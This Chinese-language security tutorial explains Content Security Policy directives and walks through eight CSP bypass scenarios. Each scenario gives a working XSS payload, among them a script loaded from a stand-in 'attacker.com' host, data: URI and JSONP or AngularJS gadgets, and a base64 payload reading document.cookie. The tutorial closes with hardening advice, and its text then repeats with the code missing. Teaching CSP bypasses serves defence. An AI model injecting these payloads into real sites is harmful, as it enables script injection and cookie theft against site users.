CSP常见配置及绕过姿势
字数 1910 2025-08-15 21:33:19

内容安全策略(CSP)配置与绕过技术详解

1. CSP概述

1.1 什么是CSP

内容安全策略(Content Security Policy, CSP)是一种网页安全机制,通过定义哪些外部资源可以被页面加载和执行来增强安全性。CSP可以通过HTTP响应头或HTML元标签实现。

1.2 CSP的作用

  • 主要防御XSS攻击
  • 指定允许使用的协议
  • 提供详细的防御攻击细节
  • 增强网页对外部攻击的防御能力

2. CSP工作原理

CSP通过定义资源加载策略来工作。例如,站点abc.com允许从自身和allowed.com加载资源:

Content-Security-Policy: default-src 'self'; script-src 'self' allowed.com; img-src 'self' allowed.com; style-src 'self';

或通过HTML元标签:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://* ; child-src 'none';">

3. CSP指令详解

3.1 主要指令

指令 描述
script-src 定义可执行的JavaScript源
default-src 默认策略,其他未指定指令的默认值
child-src 定义子内容(如workers)的源
connect-src 限制通过XHR、WebSocket等的连接
frame-src 定义可嵌入的frame源
frame-ancestors 指定可嵌入当前页面的内容
img-src 定义可加载的图片源
manifest-src 定义应用manifest文件的源
media-src 定义可加载的媒体文件源
object-src 定义可加载的插件对象源
form-action 限制表单提交的目标
plugin-types 定义允许的插件MIME类型
upgrade-insecure-requests 将HTTP请求升级为HTTPS

3.2 指令值

描述
* 允许任何URL资源
'self' 仅允许同源资源
data: 允许data:协议资源
'none' 不允许任何资源
'unsafe-inline' 允许内联资源(不推荐)
nonce 使用一次性加密字符允许特定内联脚本
'unsafe-eval' 允许eval()等动态代码执行(不推荐)

4. CSP配置示例分析

4.1 基本配置示例

Content-Security-Policy: default-src 'self'; script-src https://example.com; report-uri: /Report-parsing-url;
  • 允许同源图片(``)
  • 允许来自example.com的脚本(<script src=script.js>)
  • 禁止来自examples.com的脚本(<script src=https://examples.com/script.js>)
  • 禁止内联脚本(<script>alert(xss)</script>)

4.2 继承规则

未明确指定的指令会继承default-src的值,包括:

  • child-src
  • connect-src
  • font-src
  • frame-src
  • img-src
  • manifest-src
  • media-src
  • object-src
  • prefetch-src
  • script-src
  • style-src
  • worker-src

5. CSP绕过技术

5.1 场景1:允许内联脚本

配置:

script-src https://sina.com https://baidu.com 'unsafe-inline' https://*;

绕过方式:

"/><script>alert(xss);</script>

5.2 场景2:允许data协议和eval

配置:

script-src https://sina.com https://baidu.com 'unsafe-eval' data: http://*;

绕过方式:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="></script>

5.3 场景3:通配符滥用

配置:

script-src 'self' https://sina.com https://baidu.com https: data *;

绕过方式:

"/><script src=https://attacker.com/evil.js></script>
"/><script src=data:text/javascript,alert(1337)></script>

5.4 场景4:缺少object-src

配置:

script-src 'self'; report-uri /Report-parsing-url;

绕过方式:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
<object type="application/x-shockwave-flash" data='https://ajax.googleapis.com/ajax/libs/yui/2.8.0r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e){alert(1337)}//'>
  <param name="AllowScriptAccess" value="always">
</object>

5.5 场景5:JSONP回调绕过

配置:

script-src 'self' https://www.baidu.com; object-src 'none';

绕过方式:

"><script src="https://www.baidu.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>

5.6 场景6:AngularJS回调

配置:

script-src 'self' ajax.googleapis.com; object-src 'none';

绕过方式:

ng-app"ng-csp ng-click=$event.view.alert(1337)>
<script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
"><script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>

5.7 场景7:开放重定向

配置:

script-src 'self' accounts.google.com/random/ website.with.redirect.com;

绕过方式:

"><script src="https://website.with.redirect.com/redirect?url=https%3A//accounts.google.com/o/oauth2/revoke?callback=alert(1337)"></script>

5.8 场景8:iframe srcdoc绕过

配置:

default-src 'self' data:*; script-src 'self';

绕过方式:

<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>

6. CSP分析工具

  1. Google CSP Evaluator
  2. CSP Validator

7. 安全建议

  1. 避免使用unsafe-inlineunsafe-eval
  2. 正确使用nonce代替内联脚本
  3. 明确指定所有资源指令,不要依赖default-src
  4. 特别注意object-src,建议设置为'none'
  5. 实施报告机制(report-uri)
  6. 不要仅依赖CSP防御XSS,应结合输入过滤和输出编码

8. 总结

CSP是防御XSS等攻击的有效机制,但配置不当可能被绕过。正确的CSP配置应:

  • 最小化权限
  • 避免使用不安全指令
  • 全面覆盖所有资源类型
  • 结合其他安全措施实现纵深防御
内容安全策略(CSP)配置与绕过技术详解 1. CSP概述 1.1 什么是CSP 内容安全策略(Content Security Policy, CSP)是一种网页安全机制,通过定义哪些外部资源可以被页面加载和执行来增强安全性。CSP可以通过HTTP响应头或HTML元标签实现。 1.2 CSP的作用 主要防御XSS攻击 指定允许使用的协议 提供详细的防御攻击细节 增强网页对外部攻击的防御能力 2. CSP工作原理 CSP通过定义资源加载策略来工作。例如,站点abc.com允许从自身和allowed.com加载资源: 或通过HTML元标签: 3. CSP指令详解 3.1 主要指令 | 指令 | 描述 | |------|------| | script-src | 定义可执行的JavaScript源 | | default-src | 默认策略,其他未指定指令的默认值 | | child-src | 定义子内容(如workers)的源 | | connect-src | 限制通过XHR、WebSocket等的连接 | | frame-src | 定义可嵌入的frame源 | | frame-ancestors | 指定可嵌入当前页面的内容 | | img-src | 定义可加载的图片源 | | manifest-src | 定义应用manifest文件的源 | | media-src | 定义可加载的媒体文件源 | | object-src | 定义可加载的插件对象源 | | form-action | 限制表单提交的目标 | | plugin-types | 定义允许的插件MIME类型 | | upgrade-insecure-requests | 将HTTP请求升级为HTTPS | 3.2 指令值 | 值 | 描述 | |----|------| | * | 允许任何URL资源 | | 'self' | 仅允许同源资源 | | data: | 允许data:协议资源 | | 'none' | 不允许任何资源 | | 'unsafe-inline' | 允许内联资源(不推荐) | | nonce | 使用一次性加密字符允许特定内联脚本 | | 'unsafe-eval' | 允许eval()等动态代码执行(不推荐) | 4. CSP配置示例分析 4.1 基本配置示例 允许同源图片( `` ) 允许来自example.com的脚本( <script src=script.js> ) 禁止来自examples.com的脚本( <script src=https://examples.com/script.js> ) 禁止内联脚本( <script>alert(xss)</script> ) 4.2 继承规则 未明确指定的指令会继承 default-src 的值,包括: child-src connect-src font-src frame-src img-src manifest-src media-src object-src prefetch-src script-src style-src worker-src 5. CSP绕过技术 5.1 场景1:允许内联脚本 配置: 绕过方式: 5.2 场景2:允许data协议和eval 配置: 绕过方式: 5.3 场景3:通配符滥用 配置: 绕过方式: 5.4 场景4:缺少object-src 配置: 绕过方式: 5.5 场景5:JSONP回调绕过 配置: 绕过方式: 5.6 场景6:AngularJS回调 配置: 绕过方式: 5.7 场景7:开放重定向 配置: 绕过方式: 5.8 场景8:iframe srcdoc绕过 配置: 绕过方式: 6. CSP分析工具 Google CSP Evaluator CSP Validator 7. 安全建议 避免使用 unsafe-inline 和 unsafe-eval 正确使用 nonce 代替内联脚本 明确指定所有资源指令,不要依赖 default-src 特别注意 object-src ,建议设置为 'none' 实施报告机制( report-uri ) 不要仅依赖CSP防御XSS,应结合输入过滤和输出编码 8. 总结 CSP是防御XSS等攻击的有效机制,但配置不当可能被绕过。正确的CSP配置应: 最小化权限 避免使用不安全指令 全面覆盖所有资源类型 结合其他安全措施实现纵深防御